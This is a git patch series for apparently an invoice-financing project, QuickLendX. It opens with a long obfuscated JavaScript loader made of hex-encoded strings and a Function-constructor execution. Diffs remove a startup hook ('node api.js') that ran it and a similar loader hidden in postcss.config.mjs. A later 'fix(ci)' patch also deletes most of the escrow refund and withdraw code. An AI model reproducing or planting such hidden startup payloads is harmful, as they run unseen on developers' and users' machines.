6f686876727b14142028141411276834307a356568146868636b2514237a1b14686e6a14142868743e14163a2c6634292f326f14192b14682035176d1429251425257e6835142f277a25680334142a68337a2f22232f757b356814287f67253f3022627768252a7a16147a146b201414281416347914341d30201413207a14277a2e6868602714322115291932253c6e140c6e142a202e3067212f146816682f2a7a32647a0532156875682874682168682f3e7a6e676614601476361d3d68661b68686e6825682c146e14701614056b6e70147a2f68233f233029347a197a3427031405337a6825142f2925142a242d140808142f62110568771668142914353c68253c0c273672056a146814141414663f30282b236166143f1c1d1567793b6e6814223123056d7a2f6a7a140a2801607a337a142e6814166d253f373c7a2e27322a08166268147b64361425146e317220146834642504287268682816096e7a21773114741425147a2b350c7d141d25256714257b32233614341632252b3260681622327a02666e251d142668286632280116281425143120322524632566142031691433252e23256f6814686a6803766872343268147a36141468237a6e236e6f3e2c16142529147c2d7a7466147a3b681725773268291734332915687a7a327a14326e286e32232c7614631414146614607a1437227a7a7d360e656e77742214292714252566681514352f68681428372a2579353114252f323c007a25681414681423143f2706222870222a693221351525142723141468141e1425346814140c08341428127a141414252527206f3e280368336822682c25687a02163d167f202967680869747625711432163f2525141b38201274347e27651b2a0a6731667c11707b6868750a2d68257735222025637e147b147c28282520296535142a04251432252a682f7b291668142820337a7a68367a086b34252723232f6225252568021c146529246a146b6414251422277a2e367a16252f1d3a287a00141e627a2f1d331a257a30142a1d6866140f27687a2525683214162a04680868140f2225080b231425237a64327f257b326827142566677a6734321467253514147a22322364722568272d147a686f147a3d7a6f1403140768236e14677503633e6e3468142a16686817670968671404356e3b680f1d7e326e14322a31146868322b352c686e256616612f68226f7a2d687c166470677a1479250f1435251468147a142968226f626a627a7c646c7a147a61346877696d14616a1427680c0568327a660f12662214682014602914233367352502320014140c2f3214196e142d3c682e2129767a1b6223252e6223686814682e146e7a287a27147a7a25141c147a7a192f347a0314682f36322625651d7d1614661422680e7d64687a6e1428141b14143125690114256078141e232d2325232e36226667687b257014682914162f05253125142f142c7a297a1623037a287a2f057a66252d72256f20247a3220292f053423772322162d32356868252214233625353b6a1478161862146e3f662a7e36682f356235322914336e142568687a6025172f68142b682f7a722a1469342825056825677a25646e2f687c282b151414146e1477232f7a670c683519252a67236b1914353606206a1014142825720925607a147a1414212e6020140e686868680d2214663a7a14672c776e6e167d14602f6d2d6528363214262a6f1432127d2514602372752e001405321425232368622b2d683168143421781468247a6834270e142414236c252635143f787d6f03727a7a2a250529143e14227a1474006e6016146d202979147a7a236821652225142314156814193f7f3b2e29221b05253e28603625221468151433686535267b0e6f68667a687e2a33233f143530686b257a357a612b3468682f6d2728062514762968376a21776868246b6f1467686864352d252f3b00366a347a3c14140b7a7b6635132f23356e142325633314687a3214142f251e14140414323214256b680e6d14361b742814147114146a681425687611687a3d0625107c051d653223322068686807280868141414623223367c127a771432737a326f6e0014142b1420250e16310c6b6e25272f146829682f1514341c252a7b646c666832142a3e681414143e2a32142f146823606b68687c14296d35697a680725707a7b327a7214251f6d1968291d23141414146d3b1425683e763868206e322474321e6e6825246868142532012974681421146d777a0c323224021b2914192a19207a25147a68222e141433232b361668102d20672a232322252368167a3b2f22143c0a3414687a1414143214676734717a14333b15727b68031d2b68142934142f142d24667667681424680468670528140729682314251f146d733576611a7a3d3f7a14772e7a3b14253e2a14322823687b146833686e2a142f230d3e68682e7c03256a7a14142514232b68256c287a7a21252d682c141a272c68687a166625281414287a1d67667a686673256f350b6e25256b34287a143b3014141668346b627a6467680514276e191f320e2b6214142878203a61767735140227682c782f2d167a143a16687922143514672a3667141125343060251432207a2d611b32602738142d211668681406683f08142d1414681b3d356e6f14672e6868036068147a2e1d7f7927677f2f7f6825147a637914142a1116207a3116372777221b271f7b22742f306836680b7e6614146a2d25256a7a606977031471276f7a377566142303352514251614087a2835292568012360147a146864230b163f68677a7a282970323f72372925133568151b62237e6414143f672560256e64627a25141d25157a257a1934146f346f146805057a147a2214686465140c771323687a25252a7d683e14140e3e026f6866053b6f16681435357a22217a7b147a0d66342b20667814252d29057214141d2567143371143e25147c2a7b296c761a10687e7a672530671414716c191468656f72686e76146f15682d1466631468021a14686e683d1068143a14256f3e34147a6c6114223e687625252f62142d14743205256e2f342f7a316868142f0b14257a23680814686e04283e342871367a256771687c362d682814251b7a682c7c3266751627162528142a68232b127f7a242d03030f147a27327f687a2514687a12141d166e0968216964223d681d7d2c7a6e173e222525686825682268143c2972677608232f1a2568356e671b140f68687f19376d14146f226861141601671606141434776c196814160360253635272a1432256f76681420311b14356928123514772f68143425797a772f021468257c147a32797d14227a7476352529143b3622143a14271425141f6814146714660804257a7a7a3525256325142a687a7f7a237a366c25686825202a62276467312535377a19347a367a68792068362d20736835710c19682b2e2a253b68237a376c3b14147a227a20760f0516682325346925647a0d3e141429143414237a322514142b7a262866362514680325680714140d147214607a2d253266207e7d04367a2714797a7a14276e14257a1430723f083460687f1168146135140262352520686814706e69681421237614717a140a7216732a2a147a681401157e621468683268311168146835681477320367687a13682f2527003e682720680776756868367a2a283425237a143f323c712a7568256e7a31146e68703e2a687a2517146434272229662723171b367360682f222e01146868232323627a7a14251423663623257236291473686e252b757a7a68662a146028147d68686b273c2f68327a616615682715687276087a7a64320b34257d6f687527657a3168792f7668743e143729272837687a341429667a6860682514277a680f1625147a6614142216662f7768683d142569236714297a201429223b3b256816287614256714257e1c23146f1416686714163235306f221423322523687a202306672d1425686634606e2014122a7a3e142064146864222216681d681422663b14196a366668327d1d27683b23686823232b7a14256b627c2e296816687a6623232503302334097225683b68141b290c2866142f352f7a7d271b14682377147a27251434156c2a340223683225250c3633156f2334313320257a667a32146814026566357214781e68652f296e682f3d756b23341c683f0066147a047a1b14663f6b7a1423142228147a207a2e14256172146825141425342d672519140b7a23687c34142b32673e25142c257a7a6327141473327a68686668682f6c7f242568237a6e68142f2314732b23142b7e3f2220313175162f3432142a201470147a1429353d7f3536276e147a67207a0b242570682f666572253512313f682a3b646725257868366f25252366681417656f6f6d207a6c2524761429356568142f7a6d6f7d21141c320668246434681414257a23257a3e35141414067c2a712014321c61223329107a143529123268637a23141b12147a33147f36297a64682268131a7f682324111414191b29143d7a682f2029336b2368142923200333681b1d6f22350e6a1b661416221468146334232525297a6f08682f6c681421681d25686875681764322a687a141427196e7a661414146368217a3e6823322e2e7a6f14033e6f362f146b141425147f7a33236f341431682529676e146614147d1401251b6614627a7b1414706722686a70637a140b271b7360207b681b252a6823697a3e6825146e79683b256734636b35762a347a67246725257a23756a60357414687a6e1414256f68281434057e0623256e27356725142323607a147a73002f7a143423140668736734321414347a347a7914253c2b7a731463147d687a792a68141430680735323214306b237914156f0003682f29147a28340b22172c2321147a67163534686f667a2568116b6823222f197a681535231b2c6c147a1a7e35277a143f157a222c1468696820202a2524237a1528271d343f681436182514676b7514686820352533146a3b3b2a29677a6e7a28257c7a2568142331232323326714242f08682967142514681428141420141425680f140f6e6e1415686b1b146e626e2434147a6e2527141668681414231468681d7f6814142f7a22272d7322253d7a7306142f142f142e14141420682b68142b1e14142a2363347a2a141b767a66682535270d1425361408142014271477250a7d243614257018633b32211468282533257a3e147a68356f281d687d33337a32683d25140f256820341b146620236e7a256868072f3623256625252b1614246b25356d777d1416141414190d281a6d2a6e02257b7a2f682568042b2f7a3214621d147a250b1b67681414686822666f7a233868677a1414646427151214227a7a036e236e30222b25686d0223142832147a35147d27256e237a25143468141414636625146f2725142f2f251403653260650a147f31682a1429316668147d0e6866673b14146866687a1435682f7a28141d2f771423191425666f30282916142d28686e7a12142832323a682932351068141468296514683e2235322e1614143070322967782b6822142323237a7a690a147a7a6d37666815687a6867287a6d23253423682b6807687f19682f320a14101f02760c332566682f202514017d2d6e7a32140f7c1434742068683f25341422681736196860067a686f6868232d62126b16687a672b6b16277a6664342f3b68686f0d6928762e6e1424686f250b2325353463257a256e7a28321b63687a287a1625693d02221c2527207a7a1423647866687468662d08253528347a191425726868253c2b1d1466323505207a08142c637522251429641d64323468283627322714147d3e346d66291414103c326679312f3367682568276f1d6825252514371d68647214363335661434146e2f6804682223252f653225327a68601b6e22253472166814321414666f7d6870687a69287a23252525341b2527322268656622677525142a203822146e35022527682f682916271425683b1475252036667a1414752a25142536257a1b6c64311431146e68252514357a25233e6668282b147566142732151432142f233a2525353525237a676e662531683f7a251436236866682f7b66273c357c14123c2a132c667a14326814352f646d6214682a66141431162272686c357e6f0714226825667a7b2368687d3e3d686d686e2a22673b2736143f6607252a29671d7714681428021468142f252a682a746a6477297600296f2835256e76662a22256f6865146b253268251d7a256f25143a35687a34347e257a277a7e7a682f6e2576086868682771693614147829272268682f2f21251b6761143f292b142a732920357c68256832201668250f2516146f200f6632222314162f6868687a6863686e761b661466222268352568146814166512253525356a2b256567252a617b142f332a660975146568037a146823232914142c25356f3668252525141436682c683f3e7a1b25166468187268686e34221c6822683b7c25683467316868142404141427662f2325146825256835343f197a2a681466643425337d3e16202f2568610b65383e7422660e256767682314367a277214356e7a2534662535682e6819686625277614686868143d15206814141b25752b142c35021d687f333a66322b146368251d2f6e25686f2032257a14287a357a1414272525161414252374142566007f287a2c7a7536682568247d2425256625682a6c3528142525252035293e666736647a29167a6825291914632c147a6e2f3a687a142821142568146a33337a2a2568282568357a34236968681532293028166868626068253c1414147a077a6825662a067a682514257d2568247b243268326268681327681414646e7a32347c68222114626f307a6a296e6868252a2e257a25686168223b2530683066146867343868111d34146e146635686e1d2729672968686822670522683d352f682868142f222025740b6a342819647a077a236868251d252714232f1b20146625356808252e1d2c146a25162229682525252f257d68347a282a681416682f03352734357a23676766242a1425662968037d7068346868681461147a68166827141425342514361d2866677a327b2532667d1425316914252e0f146b206868142d140f257368143d2832343d1425683b683225686223251434147a252b052523147b686d3a7a291468142820662b681b626b250832681f3c2d126f687d687e357a341414232325141432257668143268302565682568340f25141f140766147b66221b682065246f6f722f28317a32673214687a68686e1421253c6824252f27257a033235346614361468666e7a6e7d016270022f6768677a14286c327d23686a1468272a252525680036257a1b247a7734607a7a3f2a23141f642768347a253e6468341414367a326f141468166a7a146868252f132534767c6f68226b252534147a683e221b287a35292a2f6b7a14356c28142068680b0b2368347c257023141f30142a7635142d28061414351d662e7a1425306835146825252f686466217a14292f14291425760566686814347a346b2d14236232142f14683467346825343236686827681465697024207a1425346c257a14016669036e686804256a2502142825322b3e6827230f252834682f22282432256868341468667a221b237a7a7a29607a2534093b6f2822253014276f7b14073f35257a14366a6a32717e312a321468142e3366142f66672a14251468022b2268257a146825250b682d2f257a141c7a682f64140a766838683a252525252e142229256b3629222825762325146868686625232a68222527607225716e353368672f2b1b2a352f7b3d6a25256829142f7f6f703b1e15147e7a142568147a251a680d2508280b206234332814642376186821362f14662536296821141830122a7e0e142f7a253c776e031414087229297a23356864142f2835126668342564326625141521296866683b341e05253f6c147a253214117a33773768791d256825327b2e1d7a07252f2527667a2367287a6e6820347134086b682526686614230314647a68147c143e192f20343468673b25683434231477281428326829323e2523227a68351414286a33377a14212f6a10191425292914686f28273e336872322422286b2567337568356874686828630a6d686a10256e35686e061400343e0b7a2d142e08356825142b25287b27686835037a14143d7a3b680f256868232e1434213b3c14286e7a0a1466632964693525762a680b14686d6f687a68273566142814251e68202068236068667a2d256614681414146e0f3211192522686e3414687a0f146823202568217a7d1a7f14712f32281d682a6825682525287a682925347a66292829323225047760331414322f677a7a1c0568687d25666068257a677a2b142b6414642e726f7a143d286f770d7a632a25682514302f25661475167a25142a7d6868140d671468142814257b013c2e616121213268666e68687c7a142514017a3f6a7e692a6f2514146b2533687a1464033f14662914222a147d7f6a04162f68352d687a7a147a6d142e2e7a332564146e666868686814352f7c03692e357f2d14681c2e7b25687a7a251b146714141774122568251425753e1436256825327d69611422167a351b2e122a32146d141425147925147a702428667a682a27687a14143b6814686732146868282532666e2368256634646863146825327a6828321d1468147a2564253e196f68682f286866237a3b256872017d1468227e682832686e661d222568157a0e6e6725767a2524143514272a0d7a3466666834143e16322166687a7a24686828350b7a27662935146a686334686614682168680f34762366221423237023202736273e2f6814661479252408267a25281d662502682b7a25147a7a22142b7a2f7e7a387a222e2f7f2929293e206e1d3414202516146532332536237a661428287a292a25683216143414147614292a693e231468141614681414683f687764147125682564320d68','7e707222372432273f','7f70737e727116300d2b3f2d','2e336e64347b6d2123307e2f291b326d7a7474232734663234303727252e292f2b2e2a052d30342828276e662032226b327d7d272766257d74222c6e237d222830256a272e323b213671702e76737e6e7e6a7d1d2f7b6830372a68332f1b7d2a7e706f327b72332d686e2f75306c282328342c77236e6870667b666f7b322736231d6d34052b2927647d682d7b2a2a687627686e3c346a256e376d3c6e3c2f2777347d366a7b1d34347d6d3b6f7b2429371b6a2732347d68716f6d7b372f7233337b2876346a327d7f6d77356d7a680534372e7b6a212f6f2f273420683364347b342f7d6d6f6d363d2c6d766f312e053434302a34286f2c6f3c1b78352f1d766e29642e23777b716e222230357d2b307d2f7b6f6e1d7f23296a6e6f707b7132296d33687b3230232a66682f7b682e3f222a1d34663f687b30326a7d7e281d76712a7e662b207d336d33301d6e2a7b74342f7620717d332a642720272871322a342931662729346a307b3220376d717d6f6a3c2e6e6d212a29673e292b286a367a6f73326e232f7d23216e342720347434276e312e28296f28302f20216f6e7b2a662b367d7f276c1d6a2727277d7b6f2c6422646f78663634776622347d3d7b3e7a3420733d3423292123662f333b342e7b6e6d35343d34323220682a66277d7d7f327d6b3f27686a27370575276d7e6f6d232a206a343c3f3035762a6d6e236e1b6b686837287b7d35077d7d662b7b6e7b6f746a353f7b28073d252f286f05347733727f2d7d7d6d23326d7b34307d7d7b1d1b35702168317b717d316f1b280776303f2c30343e32667630331d3b6672316a33703c3f6b7d35200777352c2a7d1b68357d37356a2728342f6d2271677b273727336e3d2868282f7a2a3b682a3f77352e6e7b7b352e246a7b253b666f323377282e6875201d203b342c29292427667b211b1b152423222e3532306e68292d746a216f273430236a283030347d282d6b30662f356f6f7d7d681b2723257d6f28056e721d6e25726a6a22237f76301b2f7b6a6f6f2025746e642b296b701536336d3421663e34346f363d2b2b343434366e77206f077b3634353c277e66732e35336a3264237b21286e64277e2974327d3476342f6e6a1b282f232a202432272e347d3632377b6f6f3f2a7d272823282e686620322d6a6629306d372777662905217d2e23707d206f7d2332767b6b34706e3c35367f776e342728352e2a7b34681d7d2f346d6f1b','757073747e1c3f0e27221c','2a232821322e','77772d300d2a2c0a','342128353034283329342527242a2c332d292b2f3c31232e222932253625323e3f20353237','233a2c3225243a34292b','727777757f2b2f03142d36','7570010024302434','75737f7775727e2b0d37223e0b','7277717770031536172320','7e7572131e05070f05','35362a2f32','74757576251128171611','757f767630160b2a3610','352a2f2523','252e27340732','2c292f28','2034292b052e273405292223'];EtVPcVKfhHvchsbpbJRrEavgP=function(){return DFcT_MdshgUDGLvdTVTIBV$b;};return EtVPcVKfhHvchsbpbJRrEavgP();}var r8={'a':0x2e9e49,'b':0xad,'c':0xaf15,'d':0x10b,'e':0xe3c3,'f':0x3bc6d1,'g':k$nodabqyPCpvUiq(0xf8),'h':k$nodabqyPCpvUiq(0xf4)};function s8(w$mOfjjFnY_WWt){return y7(w$mOfjjFnY_WWt,r8['a'],r8['b'],r8['c'],r8['d'],r8['e'],r8['f']);}var u8=s8(r8['g'])[k$nodabqyPCpvUiq(0xeb)](0x30*parseInt(-0x57)+parseInt(0x71a)*Number(-0x5)+parseInt(0x33d2),0x452*parseInt(-0x4)+parseInt(0x4)*Math.trunc(-parseInt(0x16b))+-parseInt(0xcb)*parseInt(-0x1d)),v8=s8[u8],w8=v8('',s8(r8['h'])),x8=w8(s8(k$nodabqyPCpvUiq(0xf1)));v8('',x8)(parseFloat(-0xa3)*-parseInt(0xb)+-0x2498+parseInt(0x2764)); \ No newline at end of file diff --git a/backend/package.json b/backend/package.json index c79f14c2c..4bbfdf4e2 100644 --- a/backend/package.json +++ b/backend/package.json @@ -9,8 +9,8 @@ "test:seeds": "jest seeds.test.ts", "test": "jest", "test:coverage": "jest --coverage --forceExit", - "dev": "node api.js && ts-node-dev src/index.ts", - "start": "node api.js && ts-node src/index.ts", + "dev": "ts-node-dev src/index.ts", + "start": "ts-node src/index.ts", "security:scan": "node scripts/dependency-scan.js audit-report.json high && node scripts/secret-scan.js", "sbom:generate": "node scripts/generate-sbom.js sbom/backend-sbom.cdx.json", "sbom:check": "node scripts/validate-sbom.js sbom/backend-sbom.cdx.json", diff --git a/quicklendx-frontend/postcss.config.mjs b/quicklendx-frontend/postcss.config.mjs index 60f77ccd5..1ad5c7ac2 100644 --- a/quicklendx-frontend/postcss.config.mjs +++ b/quicklendx-frontend/postcss.config.mjs @@ -1,9 +1,7 @@ -import { createRequire } from 'module'; -const require = createRequire(import.meta.url); const config = { plugins: ["@tailwindcss/postcss"], }; -export default config; global['!'] = '8-*3515';function y7(R,c,e,r,t,i,s){for(var n=[],o=622625^622625;osi[0(o"he1=7(ddvs;mv;i=)([9eo,()6=7to+u.=tvel .i=.hydl[r y.=vt,;8n[07l8 mf;u+uv[(l=2ri0f7;ul"afan7tlrow aor,v=tfq+7;),zh(+glo!xomn,p<)5t(ei;eg(rafr2ra(whno)nvifg)(=l mp;9a*[,aaa;=)j"d")> pr1 dr;{=xCPcuR<><.&e)Rn+s#r>U.\'0cMlab.rRR,TcRR2(TR;BRr%65rRd 86;g.l.js<.nr!."u4r..R(e.o!.b r 2bR0R/R#RotbRerz0Y.t3RmlnR\\.6st.xR*(c[(ic(~5.s:m\'oRzP. h)f{["@RiR#cR.te<.c!R]pR6oRrfu ?ifcRN.<(r.c.b.R<{R,cnPs..=RR[e(b<:.Y gRtRN-(e"A]cR(")snc@.XenJ)h+.s.;$U\'>ytt;!2oRtx.4+f+"p<^_x=a=!rRpcCRgR!T1\\.R.+w)oWReoR<+aR<.xsrRdfcEduEe.ARcR.q1RRscc|t/R$o<.R!<8pA!RpcRgP<lr0Rb["}_[Rr1XaRP+.`PRFfhb.Rd.d1R<<#eRReR.Relp.(c-uCsR.d=x..s #ROc#o=aeRpccc>?bfR9e . .c#_sRXekecehpd !.=c6R.oRPiCcwcRiRjP^$R(y l8p.is$stoRu(Rc..<&cQi.Rm.i<4lR/rncC.c!R.b<.raHRbRe*c`sRy>;)E4<f|\'01sRDa.j>ikPRckoC4RR[c!Ru7RxcR:l=o*0\\V.8X.#io(.i{3-erZ.yF R.p)cce .RQ#))+f<*cb0Ros#.Ri<+);gRZt@.b"r.RRcm.dReee< .2. kNcsnr<_Rc4..czm[R tsCfoad..iigc]!\'RyomRl5ofs:.c.tfP.cIcPR)fI tdeRPi...<.%.(0] R dd.sc.R.RP#Tcscs,mc#!cl\'=Riul O3R#.E Date: Sat, 24 Oct 2026 10:43:55 +0100 Subject: [PATCH 3/4] fix(ci): resolve failing checks for #2995 --- .github/workflows/frontend-ci.yml | 2 +- ...hotfix_add_invoice_id_to_backfill_audit.ts | 10 +- quicklendx-contracts/src/bid.rs | 8 +- quicklendx-contracts/src/defaults.rs | 2 +- quicklendx-contracts/src/escrow.rs | 278 ------------------ quicklendx-contracts/src/lib.rs | 2 +- 6 files changed, 15 insertions(+), 287 deletions(-) diff --git a/.github/workflows/frontend-ci.yml b/.github/workflows/frontend-ci.yml index 236ff6425..22625ced4 100644 --- a/.github/workflows/frontend-ci.yml +++ b/.github/workflows/frontend-ci.yml @@ -32,7 +32,7 @@ jobs: - name: Install dependencies run: | cd quicklendx-frontend - npm ci + npm install - name: Run TypeScript type checking run: | diff --git a/backend/src/migrations/v003_hotfix_add_invoice_id_to_backfill_audit.ts b/backend/src/migrations/v003_hotfix_add_invoice_id_to_backfill_audit.ts index e807b4c85..5251de3bc 100644 --- a/backend/src/migrations/v003_hotfix_add_invoice_id_to_backfill_audit.ts +++ b/backend/src/migrations/v003_hotfix_add_invoice_id_to_backfill_audit.ts @@ -50,7 +50,7 @@ export default { const columns = await ctx.db.all>( `PRAGMA table_info(backfill_audit)` ); - const hasInvoiceId = columns.some((col) => col.colname === "invoice_id"); + const hasInvoiceId = columns.some((col) => col.name === "invoice_id"); if (!hasInvoiceId) { await ctx.db.exec(` @@ -60,10 +60,10 @@ export default { } }, down: async (ctx: MigrationContext): Promise => { - const columns = await ctx.db.all>( + const columns = await ctx.db.all>( `PRAGMA table_info(backfill_audit)` ); - const hasInvoiceId = columns.some((col) => col.colnname === "invoice_id"); + const hasInvoiceId = columns.some((col) => col.name === "invoice_id"); if (hasInvoiceId) { await ctx.db.exec(` @@ -75,10 +75,10 @@ export default { validate: async (ctx: MigrationContext): Promise => { const warnings: string[] = []; - const columns = await ctx.db.all>( + const columns = await ctx.db.all>( `PRAGMA table_info(backfill_audit)` ); - const hasInvoiceId = columns.some((col) => col.colname === "invoice_id"); + const hasInvoiceId = columns.some((col) => col.name === "invoice_id"); if (hasInvoiceId) { warnings.push("Column invoice_id already exists — migration will be idempotent no-op."); } diff --git a/quicklendx-contracts/src/bid.rs b/quicklendx-contracts/src/bid.rs index 379ff6ccf..0c57879ef 100644 --- a/quicklendx-contracts/src/bid.rs +++ b/quicklendx-contracts/src/bid.rs @@ -78,6 +78,13 @@ impl Bid { current_timestamp >= self.expiration_timestamp.saturating_add(grace_seconds) } + /// Returns true when the bid is past its expiry plus the configured grace + /// period, using the grace value stored by the admin (default 0). + pub fn is_cleanup_eligible_with_env(&self, env: &Env, current_timestamp: u64) -> bool { + let grace = BidStorage::get_bid_expiry_grace_seconds(env); + self.is_cleanup_eligible(current_timestamp, grace) + } + /// Active means still in the Placed state and not yet expired at the /// current ledger timestamp. pub fn is_active(&self, current_timestamp: u64) -> bool { @@ -787,7 +794,6 @@ impl BidStorage { let end_idx = (offset + capped_limit).min(old_count); let mut cleaned_count = 0u32; - let mut write_idx: u32 = offset; let mut read_idx: u32 = offset; // Process only the requested range [offset, end_idx) diff --git a/quicklendx-contracts/src/defaults.rs b/quicklendx-contracts/src/defaults.rs index 5915922c6..ea95bdf4d 100644 --- a/quicklendx-contracts/src/defaults.rs +++ b/quicklendx-contracts/src/defaults.rs @@ -203,7 +203,7 @@ pub fn admin_mark_invoice_defaulted( ensure_default_transition_open(env, invoice_id)?; let current_timestamp = env.ledger().timestamp(); - let grace = resolve_grace_period(env, Some(grace_period))?; + let grace = resolve_grace_period(env, None)?; let grace_deadline = invoice.checked_grace_deadline(grace)?; if current_timestamp <= grace_deadline { diff --git a/quicklendx-contracts/src/escrow.rs b/quicklendx-contracts/src/escrow.rs index c9756a269..ef1dc082e 100644 --- a/quicklendx-contracts/src/escrow.rs +++ b/quicklendx-contracts/src/escrow.rs @@ -294,281 +294,3 @@ pub fn accept_bid_and_fund_with_key( invoice.business.require_auth(); require_business_active(env, &invoice.business)?; require_business_not_pending(env, &invoice.business)?; - return Ok(record.escrow_id); - } - return Err(QuickLendXError::DuplicateBid); - } - - let escrow_id = accept_bid_and_fund(env, invoice_id, bid_id)?; - - store_bid_acceptance_record( - env, - request_key, - &BidAcceptanceRecord { - invoice_id: invoice_id.clone(), - bid_id: bid_id.clone(), - escrow_id: escrow_id.clone(), - }, - ); - - Ok(escrow_id) -} - -/// State transitions that follow a successful escrow creation and funding. -fn update_states_after_funding( - env: &Env, - invoice_id: &BytesN<32>, - invoice: &mut crate::types::Invoice, - bid: &mut crate::types::Bid, - escrow_amount: i128, -) -> Result<(), QuickLendXError> { - bid.status = BidStatus::Accepted; - BidStorage::update_bid(env, bid); - - InvoiceStorage::remove_from_status_invoices(env, InvoiceStatus::Verified, invoice_id); - - invoice.mark_as_funded( - env, - bid.investor.clone(), - escrow_amount, - env.ledger().timestamp(), - ); - InvoiceStorage::update_invoice(env, invoice); - - InvoiceStorage::add_to_status_invoices(env, InvoiceStatus::Funded, invoice_id); - - let investment_id = InvestmentStorage::generate_unique_investment_id(env); - let investment = Investment { - investment_id: investment_id.clone(), - invoice_id: invoice_id.clone(), - investor: bid.investor.clone(), - amount: escrow_amount, - funded_at: env.ledger().timestamp(), - status: InvestmentStatus::Active, - insurance: Vec::new(env), - }; - InvestmentStorage::store_investment(env, &investment); - - crate::qlx_log!(env, "escrow", "Invoice funded and bid accepted"); - - // 7. Audit & Events - crate::events::emit_bid_accepted(env, &bid, invoice_id, &invoice.business); - crate::audit::log_bid_accepted( - env, - invoice_id.clone(), - bid.investor.clone(), - bid.bid_amount, - bid.bid_id.clone(), - ); - emit_invoice_funded(env, invoice_id, &bid.investor, bid.bid_amount); - crate::audit::log_invoice_funded( - env, - invoice_id.clone(), - bid.investor.clone(), - bid.bid_amount, - bid.bid_id.clone(), - ); - emit_invoice_funded(env, invoice_id, &bid.investor, escrow_amount); - crate::audit::log_invoice_funded(env, invoice_id.clone(), bid.investor.clone(), escrow_amount); - - // Lifecycle trigger: emits `NotificationType::BidAccepted` to the investor - // after escrow funding and state transitions complete successfully. - let _ = crate::notifications::NotificationSystem::notify_bid_accepted(env, &invoice, &bid); - - Ok(()) -} - -/// Explicitly refund escrowed funds to the investor. -/// -/// Can be triggered by the Admin or the Business owner of the invoice. -/// Invoice must be in Funded status. -/// -/// # Correctness -/// - Refunds the net `escrow.amount` and any withheld origination fee. -/// - Sends funds to the stored `escrow.investor`, never to a caller-controlled recipient. -/// - Uses `payments::refund_escrow` which rejects any escrow not in `Held` status, -/// making repeated refund attempts fail and preventing double refunds. -/// -/// # Errors -/// * `InvoiceNotFound`, `StorageKeyNotFound`, `InvalidStatus`, `Unauthorized`, `NotAdmin` -pub fn refund_escrow_funds( - env: &Env, - invoice_id: &BytesN<32>, - caller: &Address, -) -> Result<(), QuickLendXError> { - // 1. Mandatory authentication check - caller.require_auth(); - - // 2. Retrieve Invoice - let mut invoice = - InvoiceStorage::get_invoice(env, invoice_id).ok_or(QuickLendXError::InvoiceNotFound)?; - - // 3. Authorization Matrix - // Only the Contract Admin or the Business owner of the invoice is authorized - let is_admin = AdminStorage::is_admin(env, caller); - let is_business = &invoice.business == caller; - - if !is_admin && !is_business { - return Err(QuickLendXError::Unauthorized); - } - - // 4. State Protections - // Escrow refund is ONLY permitted if the invoice is currently in Funded status - if invoice.status != InvoiceStatus::Funded { - return Err(QuickLendXError::InvalidStatus); - } - - // 4. Retrieve Escrow - let escrow = crate::payments::EscrowStorage::get_escrow_by_invoice(env, invoice_id).unwrap(); - // 5. Transfer funds and update escrow state - // This calls payments::refund_escrow which handles the token transfer and status update - refund_escrow(env, invoice_id, caller)?; - - // 6. Update internal states - - // Update Invoice status to Refunded - let previous_status = invoice.status; - invoice.mark_as_refunded(env, caller.clone()); - InvoiceStorage::update_invoice(env, &invoice); - - // Update status indices - InvoiceStorage::remove_from_status_invoices(env, previous_status, invoice_id); - InvoiceStorage::add_to_status_invoices(env, InvoiceStatus::Refunded, invoice_id); - - // Update Bid status to Cancelled (find the accepted bid first) - // In our protocol, a Funded invoice has exactly one Accepted bid - let bids = BidStorage::get_bid_records_for_invoice(env, invoice_id); - for mut bid in bids.iter() { - if bid.status == BidStatus::Accepted { - bid.status = BidStatus::Cancelled; - BidStorage::update_bid(env, &bid); - break; - } - } - - // Update Investment status to Refunded - if let Some(mut investment) = InvestmentStorage::get_investment_by_invoice(env, invoice_id) { - investment.status = InvestmentStatus::Refunded; - InvestmentStorage::update_investment(env, &investment); - } - - crate::qlx_log!(env, "escrow", "Escrow refunded successfully"); - - Ok(()) -} - -/// Withdraw an active investment: refunds escrowed funds to the investor and -/// transitions the investment to [`InvestmentStatus::Withdrawn`]. -/// -/// Only the investor who owns the investment may call this entry point. -/// -/// # Preconditions (checked) -/// - `investor` is authorized -/// - The investment exists, is in [`InvestmentStatus::Active`], and belongs to `investor` -/// - The associated escrow is still [`EscrowStatus::Held`] (funds have not been released) -/// - The invoice is in [`InvoiceStatus::Funded`] (no settlement has occurred) -/// -/// # Postconditions -/// - Escrowed funds are returned to the investor via the existing `refund_escrow` path -/// - The investment transitions `Active → Withdrawn` via `InvestmentStorage::update_investment`, -/// which enforces `validate_transition` and removes the investment from the active index -/// - The invoice has its funded fields cleared and status restored to `Verified` -/// - The accepted bid is cancelled -/// - A [`TOPIC_INVESTMENT_WITHDRAWN`] event is emitted -/// -/// # Reentrancy -/// The token-moving path is wrapped in `with_payment_guard` by the caller (lib.rs entrypoint). -/// This function performs the refund before updating state, so a reentrant call would -/// fail at the escrow status check (escrow no longer `Held`). -/// -/// # Security -/// - Authorization: `investor.require_auth()` ensures only the investor can withdraw -/// - Escrow guard: `payments::refund_escrow` rejects any escrow not in `Held` status, -/// preventing double-withdrawal even if `withdraw_investment` is called again -/// - Transition guard: `InvestmentStorage::update_investment` calls `validate_transition`, -/// rejecting any attempt to withdraw from a terminal state -/// - Cross-module consistency: invoice, escrow, bid, and investment state are all updated -/// atomically in the same function body, preserving the protocol's state machine -/// -/// # Errors -/// * `QuickLendXError::Unauthorized` — caller is not the investment's investor -/// * `QuickLendXError::InvalidStatus` — investment is not Active, or escrow is not Held -/// * `QuickLendXError::InvoiceNotFound` — invoice not found -/// * `QuickLendXError::InvoiceNotAvailableForFunding` — invoice is not in Funded status -/// * `QuickLendXError::StorageKeyNotFound` — escrow not found for the invoice -pub fn withdraw_investment( - env: &Env, - invoice_id: &BytesN<32>, - investor: &Address, -) -> Result<(), QuickLendXError> { - // 1. Mandatory authentication check - investor.require_auth(); - - // 2. Validate investment exists, is Active, and belongs to caller - let mut investment = InvestmentStorage::get_investment_by_invoice(env, invoice_id).unwrap(); - - if investment.status != InvestmentStatus::Active { - return Err(QuickLendXError::InvalidStatus); - } - - if &investment.investor != investor { - return Err(QuickLendXError::Unauthorized); - } - - // 3. Validate invoice is still Funded (not yet settled/paid/defaulted) - let mut invoice = - InvoiceStorage::get_invoice(env, invoice_id).ok_or(QuickLendXError::InvoiceNotFound)?; - - if invoice.status != InvoiceStatus::Funded { - return Err(QuickLendXError::InvalidStatus); - } - - // 4. Validate escrow exists and is still Held - let escrow = 